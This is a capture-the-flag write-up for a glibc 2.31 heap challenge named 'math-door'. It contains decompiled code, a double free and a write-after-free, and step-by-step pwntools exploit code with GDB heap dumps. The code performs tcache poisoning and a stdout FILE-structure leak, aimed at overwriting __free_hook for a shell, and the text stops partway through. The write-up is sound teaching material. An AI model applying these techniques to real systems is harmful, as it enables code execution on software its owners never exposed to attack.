Math Door
20 minutes to read
We are given a 64-bit binary called math-door
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Setup environment
We are also provided with the remote Glibc library and loader:
$ ./ld.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ ldd math-door
linux-vdso.so.1 (0x00007ffed83e6000)
libc.so.6 => ./libc.so.6 (0x00007f39ce44c000)
ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007f39ce647000)
The binary is already prepared to use the remote library and loader, so there’s nothing more left to do.
Reverse engineering
We can use Ghidra to analyze the binary and look at the decompiled source code in C:
void main() {
int option;
setup();
puts(
"You are facing the mathy door!\nThe door is blocked by a mysterious riddle that hasn\'t been solved since the ancient times...\nIt\'s said that it\'s beyond human comprehension. That only alien beings can understand such advanced concepts.\nCan you math your way through?"
);
do {
while (true) {
while (true) {
puts("1. Create \n2. Delete \n3. Add value \nAction: ");
option = read_int();
if (option != 3) break;
math();
}
if (option < 4) break;
LAB_00101605:
puts("Invalid action!");
}
if (option == 1) {
create();
} else {
if (option != 2) goto LAB_00101605;
delete();
}
} while (true);
}
Basically, we have three options, which look like a heap exploitation challenge.
Allocation function
This is create
:
void create() {
void *p_chunk;
uint c;
c = counter;
if ((int) counter < 65) {
p_chunk = malloc(0x18);
*(void **) (chunks + (long) (int) c * 8) = p_chunk;
printf("Hieroglyph created with index %i.\n", (ulong) counter);
counter = counter + 1;
} else {
puts("Max amount of hieroglyphs reached.");
}
}
This one allows us to create a chunk with size 0x21
(hard-coded). The counter is increased, so we can only have up to 65 chunks. We can’t enter more information here.
Free function
This is delete
:
void delete() {
uint index;
puts("Hieroglyph index:");
index = read_int();
if (index < counter) {
free(*(void **) (chunks + (ulong) index * 8));
} else {
puts("That hieroglyph doens\'t exist.");
}
}
In this function we can call free
on any index, no matter if it is already free. So, here we can achieve a double free vulnerability, which might be useful later. Also notice that the counter
variable is not decreased.
Edit function
Finally, we have math
:
void math() {
uint index;
long in_FS_OFFSET;
long x;
long y;
long z;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
x = 0;
y = 0;
z = 0;
puts("Hieroglyph index:");
index = read_int();
if (counter < index) {
puts("That hieroglyph doens\'t exist.");
} else {
puts("Value to add to hieroglyph:");
read(0, &x, 0x18);
**(long **) (chunks + (ulong) index * 8) = x + **(long **) (chunks + (ulong) index * 8);
*(long *) (*(long *) (chunks + (ulong) index * 8) + 8) = y + *(long *) (*(long *) (chunks + (ulong) index * 8) + 8);
*(long *) (*(long *) (chunks + (ulong) index * 8) + 0x10) = z + *(long *) (*(long *) (chunks + (ulong) index * 8) + 0x10);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Here we have the chance to add three 8-byte numbers to the numbers that is currently on the selected chunk’s data area. We can use GDB to confirm this is true:
$ gdb -q math-door
Reading symbols from math-door...
(No debugging symbols found in math-door)
pwndbg> run
Starting program: /tmp/math-door
You are facing the mathy door!
The door is blocked by a mysterious riddle that hasn't been solved since the ancient times...
It's said that it's beyond human comprehension. That only alien beings can understand such advanced concepts.
Can you math your way through?
1. Create
2. Delete
3. Add value
Action:
1
Hieroglyph created with index 0.
1. Create
2. Delete
3. Add value
Action:
3
Hieroglyph index:
0
Value to add to hieroglyph:
255
1. Create
2. Delete
3. Add value
Action:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee2fd2 in __GI___libc_read (fd=0, buf=0x7fffffffe700, nbytes=31) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> vis_heap_chunks
0x55555555b000 0x0000000000000000 0x0000000000000291 ................
0x55555555b010 0x0000000000000000 0x0000000000000000 ................
0x55555555b020 0x0000000000000000 0x0000000000000000 ................
0x55555555b030 0x0000000000000000 0x0000000000000000 ................
0x55555555b040 0x0000000000000000 0x0000000000000000 ................
0x55555555b050 0x0000000000000000 0x0000000000000000 ................
0x55555555b060 0x0000000000000000 0x0000000000000000 ................
0x55555555b070 0x0000000000000000 0x0000000000000000 ................
0x55555555b080 0x0000000000000000 0x0000000000000000 ................
0x55555555b090 0x0000000000000000 0x0000000000000000 ................
0x55555555b0a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b100 0x0000000000000000 0x0000000000000000 ................
0x55555555b110 0x0000000000000000 0x0000000000000000 ................
0x55555555b120 0x0000000000000000 0x0000000000000000 ................
0x55555555b130 0x0000000000000000 0x0000000000000000 ................
0x55555555b140 0x0000000000000000 0x0000000000000000 ................
0x55555555b150 0x0000000000000000 0x0000000000000000 ................
0x55555555b160 0x0000000000000000 0x0000000000000000 ................
0x55555555b170 0x0000000000000000 0x0000000000000000 ................
0x55555555b180 0x0000000000000000 0x0000000000000000 ................
0x55555555b190 0x0000000000000000 0x0000000000000000 ................
0x55555555b1a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b200 0x0000000000000000 0x0000000000000000 ................
0x55555555b210 0x0000000000000000 0x0000000000000000 ................
0x55555555b220 0x0000000000000000 0x0000000000000000 ................
0x55555555b230 0x0000000000000000 0x0000000000000000 ................
0x55555555b240 0x0000000000000000 0x0000000000000000 ................
0x55555555b250 0x0000000000000000 0x0000000000000000 ................
0x55555555b260 0x0000000000000000 0x0000000000000000 ................
0x55555555b270 0x0000000000000000 0x0000000000000000 ................
0x55555555b280 0x0000000000000000 0x0000000000000000 ................
0x55555555b290 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b2a0 0x000000000a353532 0x0000000000000000 255.............
0x55555555b2b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
Notice that 0x0a353532
is "255\n"
in little-endian format as a hexadecimal number. If we add the same data, the chunk will store the result of the sum:
pwndbg> continue
Continuing.
3
Hieroglyph index:
0
Value to add to hieroglyph:
255
1. Create
2. Delete
3. Add value
Action:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee2fd2 in __GI___libc_read (fd=0, buf=0x7fffffffe700, nbytes=31) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis_heap_chunks
0x55555555b000 0x0000000000000000 0x0000000000000291 ................
0x55555555b010 0x0000000000000000 0x0000000000000000 ................
0x55555555b020 0x0000000000000000 0x0000000000000000 ................
0x55555555b030 0x0000000000000000 0x0000000000000000 ................
0x55555555b040 0x0000000000000000 0x0000000000000000 ................
0x55555555b050 0x0000000000000000 0x0000000000000000 ................
0x55555555b060 0x0000000000000000 0x0000000000000000 ................
0x55555555b070 0x0000000000000000 0x0000000000000000 ................
0x55555555b080 0x0000000000000000 0x0000000000000000 ................
0x55555555b090 0x0000000000000000 0x0000000000000000 ................
0x55555555b0a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b100 0x0000000000000000 0x0000000000000000 ................
0x55555555b110 0x0000000000000000 0x0000000000000000 ................
0x55555555b120 0x0000000000000000 0x0000000000000000 ................
0x55555555b130 0x0000000000000000 0x0000000000000000 ................
0x55555555b140 0x0000000000000000 0x0000000000000000 ................
0x55555555b150 0x0000000000000000 0x0000000000000000 ................
0x55555555b160 0x0000000000000000 0x0000000000000000 ................
0x55555555b170 0x0000000000000000 0x0000000000000000 ................
0x55555555b180 0x0000000000000000 0x0000000000000000 ................
0x55555555b190 0x0000000000000000 0x0000000000000000 ................
0x55555555b1a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b200 0x0000000000000000 0x0000000000000000 ................
0x55555555b210 0x0000000000000000 0x0000000000000000 ................
0x55555555b220 0x0000000000000000 0x0000000000000000 ................
0x55555555b230 0x0000000000000000 0x0000000000000000 ................
0x55555555b240 0x0000000000000000 0x0000000000000000 ................
0x55555555b250 0x0000000000000000 0x0000000000000000 ................
0x55555555b260 0x0000000000000000 0x0000000000000000 ................
0x55555555b270 0x0000000000000000 0x0000000000000000 ................
0x55555555b280 0x0000000000000000 0x0000000000000000 ................
0x55555555b290 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b2a0 0x00000000146a6a64 0x0000000000000000 djj.............
0x55555555b2b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
pwndbg> p/x 0x0a353532 + 0x0a353532
$1 = 0x146a6a64
There are no more useful functions in the binary…
Exploit strategy
The main problem with this program is that there are no simple ways to leak memory addresses. Also, the program only allows us to allocate chunks of size 0x21
.
The only primitives we have are:
- Potential double free in
delete
- Write After Free in
math
We are using Glibc 2.31 with Tcache. Therefore, a good option is to use Tcache poisoning to achieve an arbitrary write primitive. For this attack to work, we need to free a chunk, modify the fd
pointer to the target location and allocate chunks until we have one at the target address.
In heap challenges, it is very common to use an Unsorted Bin chunk to leak an address of Glibc (actually, an offset to main_arena
). This time, we can only allocate chunks with size 0x21
. However, we can use Tcache poisoning to modify the size of a chunk and then free it, so that the heap allocator thinks its size very big and it does not fit in the Tcache free-list.
Remember that the program allows to add numbers to the ones that are in a certain chunk. Therefore, we will use this Glibc address to point to other addresses within Glibc using offsets.
Possibly, there is a way to exploit the binary using only offsets, but I could not find it. My exploit needed to know a Glibc address to find the base address and make __free_hook
point to system
to run system("/bin/sh")
as the final step. To leak memory addresses within Glibc, I had to mess around with the stdout
(_IO_2_1_stdout_
) FILE
structure. This technique is known as FILE
structure attack, more information on these links:
Exploit development
First of all, I will use these helper functions:
def create(p):
p.sendlineafter(b'Action: \n', b'1')
def delete(p, index: int):
p.sendlineafter(b'Action: \n', b'2')
p.sendlineafter(b'Hieroglyph index:\n', str(index).encode())
def add_value(p, index: int, x: int, y: int, z: int):
value = p64(x) + p64(y) + p64(z)
p.sendlineafter(b'Action: \n', b'3')
p.sendlineafter(b'Hieroglyph index:\n', str(index).encode())
p.sendafter(b'Value to add to hieroglyph:\n', value)
Now, let’s enter create some chunks and free them to see how we can use Tcache poisoning to create a fake Unsorted Bin chunk:
def main():
p = get_process()
gdb.attach(p, 'continue')
M = 5
for _ in range(M):
create(p)
for i in range(M):
delete(p, i)
p.interactive()
Now, let’s take a look at GDB:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 323994
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '323994', '-x', '/tmp/pwn5a9d62_q.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Hieroglyph created with index 4.
1. Create
2. Delete
3. Add value
Action:
$
pwndbg> vis_heap_chunks
0x561a5b60c000 0x0000000000000000 0x0000000000000291 ................
0x561a5b60c010 0x0000000000000005 0x0000000000000000 ................
0x561a5b60c020 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c030 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c040 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c050 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c060 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c070 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c080 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c090 0x0000561a5b60c320 0x0000000000000000 .`[.V..........
0x561a5b60c0a0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0b0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0c0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0d0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0e0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0f0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c100 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c110 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c120 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c130 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c140 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c150 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c160 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c170 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c180 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c190 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1a0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1b0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1c0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1d0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1e0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1f0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c200 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c210 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c220 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c230 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c240 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c250 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c260 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c270 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c280 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c290 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c2a0 0x0000000000000000 0x0000561a5b60c010 ..........`[.V.. <-- tcachebins[0x20][4/5]
0x561a5b60c2b0 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c2c0 0x0000561a5b60c2a0 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][3/5]
0x561a5b60c2d0 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c2e0 0x0000561a5b60c2c0 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][2/5]
0x561a5b60c2f0 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c300 0x0000561a5b60c2e0 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][1/5]
0x561a5b60c310 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c320 0x0000561a5b60c300 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][0/5]
0x561a5b60c330 0x0000000000000000 0x0000000000020cd1 ................ <-- Top chunk
pwndbg> tcachebins
tcachebins
0x20 [ 5]: 0x561a5b60c320 —▸ 0x561a5b60c300 —▸ 0x561a5b60c2e0 —▸ 0x561a5b60c2c0 —▸ 0x561a5b60c2a0 ◂— 0x0
The next chunk that will be allocated is at address 0x561a5b60c320
, because the head of the Tcache (within the large cyan section) points there. This is a good value to control because if so, we can control where the next allocated chunk will be placed (we will see this later).
The Tcache poisoning works because if we modify the address at 0x561a5b60c320
(which is 0x561a5b60c300
), the linked list will be corrupt and the head of the Tcache will point to another location. That is why Tcache poisoning grants a potential write-what-where primitive. Also, the Tcache is a very exploitable structure because it applies only a few checks and they can be easily bypassed.
Heap feng shui
We will modify the fd
pointer of a chunk to be able to modify the size of another chunk. Once allocated in the target position, we will set the new size to 0x421
so that it does not fit in the Tcache. Then, when freeing it, the heap allocator will treat it as an Unsorted Bin chunk and set fd
and bk
fields pointing to an offset of main_arena
.
After a bit of debugging, we have this code:
def main():
p = get_process()
gdb.attach(p, 'continue')
M = 38
for _ in range(M):
create(p)
delete(p, 2)
delete(p, 1)
delete(p, 0)
add_value(p, 0, 0x50, 0, 0)
create(p) # M
create(p) # M + 1
add_value(p, 0, 0xffffffffffffffb0, 0, 0)
add_value(p, M + 1, 0, 0x421, 0)
delete(p, 4)
p.interactive()
Notice how negative values must be entered using two’s complement. We can define a simple function in Python to calculate these negative offsets:
$ python3 -q
>>> def two_c(num: int) -> str:
... return hex(((~abs(num)) + 1) & 0xffffffffffffffff)
...
>>> two_c(-0x50)
'0xffffffffffffffb0'
Anyway, this is the result:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 332255
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '332255', '-x', '/tmp/pwnqcf_s9c0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
1. Create
2. Delete
3. Add value
Action:
$
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555f98d22000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555f98d22290
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555f98d222b0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555f98d222d0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555f98d222f0
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555f98d22310
Size: 0x421
fd: 0x7f24a2f00be0
bk: 0x7f24a2f00be0
Allocated chunk
Addr: 0x555f98d22730
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x555f98d22750
Size: 0x208b1
pwndbg> bins
tcachebins
0x20 [ 1]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555f98d22310 —▸ 0x7f24a2f00be0 (main_arena+96) ◂— 0x555f98d22310
smallbins
empty
largebins
empty
Alright, we have a Glibc address that we can use as reference to allocate chunks at relative offsets within Glibc. But first of all, notice that the Tcache is a bit corrupt. The heap allocator thinks there is a single Tcache free chunk, but the free-list is empty.
Now, the objective is to fully control the Tcache, so we will be aiming to get a chunk located at the head of the Tcache free-list of size 0x21
. I did it with these lines of code and some debugging:
delete(p, 11)
delete(p, 12)
delete(p, 13)
delete(p, 14)
add_value(p, 14, 0xfffffffffffffc50, 0, 0)
create(p) # M + 2
create(p) # M + 3
Now, at index M + 3
I have a chunk near the head of the Tcache free-list. We can confirm it using GDB while running the exploit:
pwndbg> x/64gx &chunks
0x5559ccbf6060 <chunks>: 0x00005559ce00d2a0 0x00005559ce00d2c0
0x5559ccbf6070 <chunks+16>: 0x00005559ce00d2e0 0x00005559ce00d300
0x5559ccbf6080 <chunks+32>: 0x00005559ce00d320 0x00005559ce00d340
0x5559ccbf6090 <chunks+48>: 0x00005559ce00d360 0x00005559ce00d380
0x5559ccbf60a0 <chunks+64>: 0x00005559ce00d3a0 0x00005559ce00d3c0
0x5559ccbf60b0 <chunks+80>: 0x00005559ce00d3e0 0x00005559ce00d400
0x5559ccbf60c0 <chunks+96>: 0x00005559ce00d420 0x00005559ce00d440
0x5559ccbf60d0 <chunks+112>: 0x00005559ce00d460 0x00005559ce00d480
0x5559ccbf60e0 <chunks+128>: 0x00005559ce00d4a0 0x00005559ce00d4c0
0x5559ccbf60f0 <chunks+144>: 0x00005559ce00d4e0 0x00005559ce00d500
0x5559ccbf6100 <chunks+160>: 0x00005559ce00d520 0x00005559ce00d540
0x5559ccbf6110 <chunks+176>: 0x00005559ce00d560 0x00005559ce00d580
0x5559ccbf6120 <chunks+192>: 0x00005559ce00d5a0 0x00005559ce00d5c0
0x5559ccbf6130 <chunks+208>: 0x00005559ce00d5e0 0x00005559ce00d600
0x5559ccbf6140 <chunks+224>: 0x00005559ce00d620 0x00005559ce00d640
0x5559ccbf6150 <chunks+240>: 0x00005559ce00d660 0x00005559ce00d680
0x5559ccbf6160 <chunks+256>: 0x00005559ce00d6a0 0x00005559ce00d6c0
0x5559ccbf6170 <chunks+272>: 0x00005559ce00d6e0 0x00005559ce00d700
0x5559ccbf6180 <chunks+288>: 0x00005559ce00d720 0x00005559ce00d740
0x5559ccbf6190 <chunks+304>: 0x00005559ce00d2a0 0x00005559ce00d310
0x5559ccbf61a0 <chunks+320>: 0x00005559ce00d460 0x00005559ce00d090
0x5559ccbf61b0 <chunks+336>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61c0 <chunks+352>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00005559ce00d090
0x5559ce00d090: 0x00005559ce00d090 0x0000000000000000
0x5559ce00d0a0: 0x0000000000000000 0x0000000000000000
pwndbg> tcache
{
counts = {3, 0 <repeats 63 times>},
entries = {0x5559ce00d090, 0x0 <repeats 63 times>}
}
pwndbg> tcachebins
tcachebins
0x20 [ 3]: 0x5559ce00d090 ◂— 0x5559ce00d090
Obviously, at this point the heap allocator is so confused because the head of the list points to itself. But now we have full control over next allocated chunks.
Next, I cleaned up the Tcache and the heap and set the head of the Tcache point to the chunk that contained Glibc pointers (I also set the size back to 0x21
just in case):
add_value(p, M + 1, 0, 0xfffffffffffffc00, 0)
add_value(p, 13, 0xffffffffffffff00, 0, 0)
add_value(p, M + 3, 0x290, 0, 0)
So this is the heap right now:
pwndbg> x/64gx &chunks
0x5613f4a4a060 <chunks>: 0x00005613f4fc02a0 0x00005613f4fc02c0
0x5613f4a4a070 <chunks+16>: 0x00005613f4fc02e0 0x00005613f4fc0300
0x5613f4a4a080 <chunks+32>: 0x00005613f4fc0320 0x00005613f4fc0340
0x5613f4a4a090 <chunks+48>: 0x00005613f4fc0360 0x00005613f4fc0380
0x5613f4a4a0a0 <chunks+64>: 0x00005613f4fc03a0 0x00005613f4fc03c0
0x5613f4a4a0b0 <chunks+80>: 0x00005613f4fc03e0 0x00005613f4fc0400
0x5613f4a4a0c0 <chunks+96>: 0x00005613f4fc0420 0x00005613f4fc0440
0x5613f4a4a0d0 <chunks+112>: 0x00005613f4fc0460 0x00005613f4fc0480
0x5613f4a4a0e0 <chunks+128>: 0x00005613f4fc04a0 0x00005613f4fc04c0
0x5613f4a4a0f0 <chunks+144>: 0x00005613f4fc04e0 0x00005613f4fc0500
0x5613f4a4a100 <chunks+160>: 0x00005613f4fc0520 0x00005613f4fc0540
0x5613f4a4a110 <chunks+176>: 0x00005613f4fc0560 0x00005613f4fc0580
0x5613f4a4a120 <chunks+192>: 0x00005613f4fc05a0 0x00005613f4fc05c0
0x5613f4a4a130 <chunks+208>: 0x00005613f4fc05e0 0x00005613f4fc0600
0x5613f4a4a140 <chunks+224>: 0x00005613f4fc0620 0x00005613f4fc0640
0x5613f4a4a150 <chunks+240>: 0x00005613f4fc0660 0x00005613f4fc0680
0x5613f4a4a160 <chunks+256>: 0x00005613f4fc06a0 0x00005613f4fc06c0
0x5613f4a4a170 <chunks+272>: 0x00005613f4fc06e0 0x00005613f4fc0700
0x5613f4a4a180 <chunks+288>: 0x00005613f4fc0720 0x00005613f4fc0740
0x5613f4a4a190 <chunks+304>: 0x00005613f4fc02a0 0x00005613f4fc0310
0x5613f4a4a1a0 <chunks+320>: 0x00005613f4fc0460 0x00005613f4fc0090
0x5613f4a4a1b0 <chunks+336>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1c0 <chunks+352>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00005613f4fc0090
0x5613f4fc0090: 0x00005613f4fc0320 0x0000000000000000
0x5613f4fc00a0: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00005613f4fc0320
0x5613f4fc0320: 0x00007f5860e7fbe0 0x00007f5860e7fbe0
0x5613f4fc0330: 0x0000000000000000 0x0000000000000000
pwndbg> tcachebins
tcachebins
0x20 [ 3]: 0x5613f4fc0320 —▸ 0x7f5860e7fbe0 (main_arena+96) —▸ 0x5613f4fc0750 ◂— 0x0
Leaking memory addresses
Once have control on the heap, we need to mess around with the stdout
structure to leak memory addresses. After a lot of research and trial and error, I found out that just modifying write_ptr
will do the trick, because it will print some values before the structure.
The stdout
(_IO_2_1_stdout_
) structure is like this:
pwndbg> p/x _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7f5860e80723,
_IO_read_end = 0x7f5860e80723,
_IO_read_base = 0x7f5860e80723,
_IO_write_base = 0x7f5860e80723,
_IO_write_ptr = 0x7f5860e80723,
_IO_write_end = 0x7f5860e80723,
_IO_buf_base = 0x7f5860e80723,
_IO_buf_end = 0x7f5860e80724,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f5860e7f980,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7f5860e817e0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7f5860e7f880,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7f5860e7c4a0
}
pwndbg> x/28gx &_IO_2_1_stdout_
0x7f5860e806a0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f5860e80723
0x7f5860e806b0 <_IO_2_1_stdout_+16>: 0x00007f5860e80723 0x00007f5860e80723
0x7f5860e806c0 <_IO_2_1_stdout_+32>: 0x00007f5860e80723 0x00007f5860e80723
0x7f5860e806d0 <_IO_2_1_stdout_+48>: 0x00007f5860e80723 0x00007f5860e80723
0x7f5860e806e0 <_IO_2_1_stdout_+64>: 0x00007f5860e80724 0x0000000000000000
0x7f5860e806f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f5860e80700 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f5860e7f980
0x7f5860e80710 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f5860e80720 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007f5860e817e0
0x7f5860e80730 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f5860e80740 <_IO_2_1_stdout_+160>: 0x00007f5860e7f880 0x0000000000000000
0x7f5860e80750 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7f5860e80760 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f5860e80770 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f5860e7c4a0
Before modifying the stdout
structure, I saved some chunks for later use. The first one at &stdout + 0x18
, using relative offsets:
pwndbg> p/x 0x7f5860e806b8 - 0x7f5860e7fbe0
$2 = 0xad8
This is the code for that:
add_value(p, 4, _IO_2_1_stdout__offset + 0x18, 0, 0)
create(p) # M + 4
create(p) # M + 5: &stdout + 0x18
Now we have the address at the chunks
array:
pwndbg> x/64gx &chunks
0x557f047f2060 <chunks>: 0x0000557f05e2d2a0 0x0000557f05e2d2c0
0x557f047f2070 <chunks+16>: 0x0000557f05e2d2e0 0x0000557f05e2d300
0x557f047f2080 <chunks+32>: 0x0000557f05e2d320 0x0000557f05e2d340
0x557f047f2090 <chunks+48>: 0x0000557f05e2d360 0x0000557f05e2d380
